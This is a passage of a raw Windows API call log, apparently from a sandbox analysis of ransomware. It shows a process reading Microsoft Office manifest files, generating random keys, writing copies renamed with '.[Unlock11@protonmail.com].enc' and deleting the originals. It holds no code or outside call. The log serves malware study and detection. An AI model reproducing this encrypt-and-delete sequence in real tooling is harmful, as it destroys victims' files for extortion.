1 [0134.080] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.081] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.081] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.081] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.081] GetLastError () returned 0x0 [0134.081] GetCurrentThreadId () returned 0x9b0 [0134.081] GetLastError () returned 0x0 [0134.081] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d66b8 | out: hHeap=0x2ad0000) returned 1 [0134.081] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cf478 | out: hHeap=0x2ad0000) returned 1 [0134.081] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0134.081] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0134.081] GetLastError () returned 0x0 [0134.081] GetLastError () returned 0x0 [0134.082] GetCurrentThreadId () returned 0x9b0 [0134.082] GetLastError () returned 0x0 [0134.082] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0134.082] GetLastError () returned 0x0 [0134.082] GetLastError () returned 0x0 [0134.082] GetCurrentThreadId () returned 0x9b0 [0134.082] GetLastError () returned 0x0 [0134.082] GetLastError () returned 0x0 [0134.084] GetLastError () returned 0x0 [0134.084] GetCurrentThreadId () returned 0x9b0 [0134.084] GetLastError () returned 0x0 [0134.084] GetCurrentThreadId () returned 0x9b0 [0134.084] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6658 [0134.084] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d65e8 | out: hHeap=0x2ad0000) returned 1 [0134.084] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x888) returned 0x35c5908 [0134.084] GetLastError () returned 0x0 [0134.085] GetLastError () returned 0x0 [0134.085] GetLastError () returned 0x0 [0134.085] GetLastError () returned 0x0 [0134.085] GetCurrentThreadId () returned 0x9b0 [0134.085] GetLastError () returned 0x0 [0134.085] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0134.085] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0134.085] GetCurrentThreadId () returned 0x9b0 [0134.085] GetLastError () returned 0x0 [0134.085] GetCurrentThreadId () returned 0x9b0 [0134.085] GetLastError () returned 0x0 [0134.086] CloseHandle (hObject=0x3ac) returned 1 [0134.086] GetCurrentThreadId () returned 0x9b0 [0134.087] GetLastError () returned 0x0 [0134.087] CloseHandle (hObject=0x39c) returned 1 [0134.087] GetCurrentThreadId () returned 0x9b0 [0134.087] GetLastError () returned 0x0 [0134.087] DeleteFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml")) returned 1 [0134.088] GetLastError () returned 0x0 [0134.088] GetCurrentThreadId () returned 0x9b0 [0134.088] GetLastError () returned 0x0 [0134.088] GetCurrentThreadId () returned 0x9b0 [0134.088] GetLastError () returned 0x0 [0134.088] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml", lpFilePart=0x9bada4*="AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 0x68 [0134.088] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0134.089] GetCurrentThreadId () returned 0x9b0 [0134.089] GetCurrentThreadId () returned 0x9b0 [0134.089] GetLastError () returned 0x0 [0134.089] GetCurrentThreadId () returned 0x9b0 [0134.089] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eabc0 [0134.089] GetCurrentThreadId () returned 0x9b0 [0134.089] GetLastError () returned 0x0 [0134.089] GetCurrentThreadId () returned 0x9b0 [0134.089] GetLastError () returned 0x0 [0134.089] GetCurrentThreadId () returned 0x9b0 [0134.089] GetLastError () returned 0x0 [0134.090] GetCurrentThreadId () returned 0x9b0 [0134.090] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a568 [0134.090] GetCurrentThreadId () returned 0x9b0 [0134.090] GetLastError () returned 0x0 [0134.090] GetCurrentThreadId () returned 0x9b0 [0134.090] GetLastError () returned 0x0 [0134.090] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83ea71ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x863)) returned 1 [0134.090] GetLastError () returned 0x0 [0134.090] GetCurrentThreadId () returned 0x9b0 [0134.090] GetLastError () returned 0x0 [0134.090] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b6c4 | out: pbBuffer=0x366b6c4) returned 1 [0134.091] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0134.091] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3958 [0134.091] GetCurrentThreadId () returned 0x9b0 [0134.091] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ead28 [0134.091] GetCurrentThreadId () returned 0x9b0 [0134.091] GetLastError () returned 0x0 [0134.091] GetCurrentThreadId () returned 0x9b0 [0134.091] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea878 [0134.091] GetCurrentThreadId () returned 0x9b0 [0134.091] GetLastError () returned 0x0 [0134.091] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0134.092] GetFileType (hFile=0x39c) returned 0x1 [0134.092] GetCurrentThreadId () returned 0x9b0 [0134.092] GetLastError () returned 0x0 [0134.092] GetFileType (hFile=0x39c) returned 0x1 [0134.092] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.092] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.092] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.092] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.092] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.092] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.093] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.093] GetLastError () returned 0x0 [0134.093] GetCurrentThreadId () returned 0x9b0 [0134.093] GetLastError () returned 0x0 [0134.093] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d66c8 | out: hHeap=0x2ad0000) returned 1 [0134.093] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6258 | out: hHeap=0x2ad0000) returned 1 [0134.093] GetLastError () returned 0x0 [0134.093] GetLastError () returned 0x0 [0134.093] GetLastError () returned 0x0 [0134.093] GetLastError () returned 0x0 [0134.093] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0134.093] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d6698 [0134.094] GetLastError () returned 0x0 [0134.094] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0134.094] GetFileType (hFile=0x3ac) returned 0x1 [0134.094] GetLastError () returned 0x0 [0134.094] GetCurrentThreadId () returned 0x9b0 [0134.094] GetLastError () returned 0x0 [0134.094] GetFileType (hFile=0x3ac) returned 0x1 [0134.094] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.095] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.095] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.095] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.095] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.095] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.095] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.095] GetLastError () returned 0x0 [0134.095] GetCurrentThreadId () returned 0x9b0 [0134.095] GetLastError () returned 0x0 [0134.095] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6698 | out: hHeap=0x2ad0000) returned 1 [0134.095] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cf748 | out: hHeap=0x2ad0000) returned 1 [0134.095] GetCurrentThreadId () returned 0x9b0 [0134.096] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0134.096] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0134.096] GetLastError () returned 0x0 [0134.096] GetLastError () returned 0x0 [0134.096] GetCurrentThreadId () returned 0x9b0 [0134.096] GetLastError () returned 0x0 [0134.096] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0134.096] GetLastError () returned 0x0 [0134.096] GetLastError () returned 0x0 [0134.096] GetCurrentThreadId () returned 0x9b0 [0134.096] GetLastError () returned 0x0 [0134.097] GetLastError () returned 0x0 [0134.098] GetLastError () returned 0x0 [0134.098] GetCurrentThreadId () returned 0x9b0 [0134.098] GetLastError () returned 0x0 [0134.099] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d66e8 | out: hHeap=0x2ad0000) returned 1 [0134.099] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x888) returned 0x35c5908 [0134.099] GetLastError () returned 0x0 [0134.099] GetLastError () returned 0x0 [0134.099] GetLastError () returned 0x0 [0134.099] GetLastError () returned 0x0 [0134.099] GetCurrentThreadId () returned 0x9b0 [0134.099] GetLastError () returned 0x0 [0134.099] GetCurrentThreadId () returned 0x9b0 [0134.099] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0134.100] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0134.100] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0134.100] GetLastError () returned 0x0 [0134.100] GetCurrentThreadId () returned 0x9b0 [0134.100] GetCurrentThreadId () returned 0x9b0 [0134.101] CloseHandle (hObject=0x3ac) returned 1 [0134.101] GetCurrentThreadId () returned 0x9b0 [0134.101] CloseHandle (hObject=0x39c) returned 1 [0134.101] GetCurrentThreadId () returned 0x9b0 [0134.101] DeleteFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml")) returned 1 [0134.102] GetCurrentThreadId () returned 0x9b0 [0134.103] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml", lpFilePart=0x9bada4*="AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 0x68 [0134.103] GetCurrentThreadId () returned 0x9b0 [0134.103] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0134.103] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0134.103] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0134.103] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0134.103] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaa80 [0134.103] GetCurrentThreadId () returned 0x9b0 [0134.103] GetCurrentThreadId () returned 0x9b0 [0134.103] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaa80 | out: hHeap=0x2ad0000) returned 1 [0134.103] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eac60 [0134.104] GetCurrentThreadId () returned 0x9b0 [0134.104] GetCurrentThreadId () returned 0x9b0 [0134.104] GetCurrentThreadId () returned 0x9b0 [0134.104] GetCurrentThreadId () returned 0x9b0 [0134.104] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a7a8 [0134.104] GetCurrentThreadId () returned 0x9b0 [0134.104] GetCurrentThreadId () returned 0x9b0 [0134.104] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf982bd9c, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x34b4b)) returned 1 [0134.104] GetCurrentThreadId () returned 0x9b0 [0134.105] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b64c | out: pbBuffer=0x366b64c) returned 1 [0134.105] GetCurrentThreadId () returned 0x9b0 [0134.105] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0134.105] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a31b0 [0134.105] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0134.105] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ead28 [0134.105] GetCurrentThreadId () returned 0x9b0 [0134.105] GetCurrentThreadId () returned 0x9b0 [0134.105] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ead28 [0134.105] GetCurrentThreadId () returned 0x9b0 [0134.106] GetCurrentThreadId () returned 0x9b0 [0134.106] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x35d6698 [0134.106] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a31b0 | out: hHeap=0x2ad0000) returned 1 [0134.106] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0134.106] GetFileType (hFile=0x39c) returned 0x1 [0134.106] GetCurrentThreadId () returned 0x9b0 [0134.106] GetFileType (hFile=0x39c) returned 0x1 [0134.106] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.106] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.107] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.107] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.107] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.107] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.107] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.107] GetLastError () returned 0x0 [0134.107] GetCurrentThreadId () returned 0x9b0 [0134.107] GetLastError () returned 0x0 [0134.107] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d66b8 | out: hHeap=0x2ad0000) returned 1 [0134.107] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d62d0 | out: hHeap=0x2ad0000) returned 1 [0134.107] GetLastError () returned 0x0 [0134.107] GetLastError () returned 0x0 [0134.107] GetLastError () returned 0x0 [0134.108] GetLastError () returned 0x0 [0134.108] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0134.108] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d6668 [0134.108] GetLastError () returned 0x0 [0134.108] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0134.108] GetFileType (hFile=0x3ac) returned 0x1 [0134.108] GetLastError () returned 0x0 [0134.108] GetCurrentThreadId () returned 0x9b0 [0134.109] GetLastError () returned 0x0 [0134.109] GetFileType (hFile=0x3ac) returned 0x1 [0134.109] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.109] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.109] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.109] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.109] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.109] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.109] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.109] GetLastError () returned 0x0 [0134.109] GetCurrentThreadId () returned 0x9b0 [0134.109] GetLastError () returned 0x0 [0134.110] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6668 | out: hHeap=0x2ad0000) returned 1 [0134.110] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cf6b8 | out: hHeap=0x2ad0000) returned 1 [0134.110] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0134.110] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0134.110] GetLastError () returned 0x0 [0134.110] GetLastError () returned 0x0 [0134.110] GetCurrentThreadId () returned 0x9b0 [0134.110] GetLastError () returned 0x0 [0134.110] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0134.110] GetLastError () returned 0x0 [0134.110] GetLastError () returned 0x0 [0134.111] GetCurrentThreadId () returned 0x9b0 [0134.111] GetLastError () returned 0x0 [0134.111] GetLastError () returned 0x0 [0134.115] GetLastError () returned 0x0 [0134.115] GetCurrentThreadId () returned 0x9b0 [0134.115] GetLastError () returned 0x0 [0134.115] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6698 | out: hHeap=0x2ad0000) returned 1 [0134.116] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0134.116] GetCurrentThreadId () returned 0x9b0 [0134.116] GetLastError () returned 0x0 [0134.116] GetLastError () returned 0x0 [0134.116] GetLastError () returned 0x0 [0134.117] GetLastError () returned 0x0 [0134.117] GetCurrentThreadId () returned 0x9b0 [0134.117] GetLastError () returned 0x0 [0134.117] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0134.117] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0134.117] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0134.117] GetLastError () returned 0x0 [0134.119] GetLastError () returned 0x0 [0134.119] GetCurrentThreadId () returned 0x9b0 [0134.119] GetLastError () returned 0x0 [0134.119] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0134.119] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0134.119] GetLastError () returned 0x0 [0134.120] GetLastError () returned 0x0 [0134.120] GetCurrentThreadId () returned 0x9b0 [0134.120] GetLastError () returned 0x0 [0134.120] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.120] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d66e8 [0134.120] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d65b8 | out: hHeap=0x2ad0000) returned 1 [0134.121] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0134.121] GetLastError () returned 0x0 [0134.121] GetLastError () returned 0x0 [0134.121] GetLastError () returned 0x0 [0134.121] GetLastError () returned 0x0 [0134.121] GetCurrentThreadId () returned 0x9b0 [0134.121] GetLastError () returned 0x0 [0134.121] GetCurrentThreadId () returned 0x9b0 [0134.121] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37a40f0 [0134.122] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.122] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0134.122] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0134.122] GetLastError () returned 0x0 [0134.123] GetLastError () returned 0x0 [0134.123] GetCurrentThreadId () returned 0x9b0 [0134.123] GetLastError () returned 0x0 [0134.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0134.123] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0134.123] GetLastError () returned 0x0 [0134.123] GetLastError () returned 0x0 [0134.124] GetCurrentThreadId () returned 0x9b0 [0134.124] GetLastError () returned 0x0 [0134.124] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0134.124] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d65b8 [0134.124] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d66e8 | out: hHeap=0x2ad0000) returned 1 [0134.124] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0134.125] GetLastError () returned 0x0 [0134.125] GetLastError () returned 0x0 [0134.125] GetLastError () returned 0x0 [0134.125] GetLastError () returned 0x0 [0134.125] GetCurrentThreadId () returned 0x9b0 [0134.125] GetLastError () returned 0x0 [0134.125] GetCurrentThreadId () returned 0x9b0 [0134.125] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0134.126] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0134.126] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0134.126] GetLastError () returned 0x0 [0134.127] GetLastError () returned 0x0 [0134.127] GetCurrentThreadId () returned 0x9b0 [0134.127] GetLastError () returned 0x0 [0134.127] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0134.127] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0134.127] GetLastError () returned 0x0 [0134.127] GetLastError () returned 0x0 [0134.127] GetCurrentThreadId () returned 0x9b0 [0134.128] GetLastError () returned 0x0 [0134.128] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: 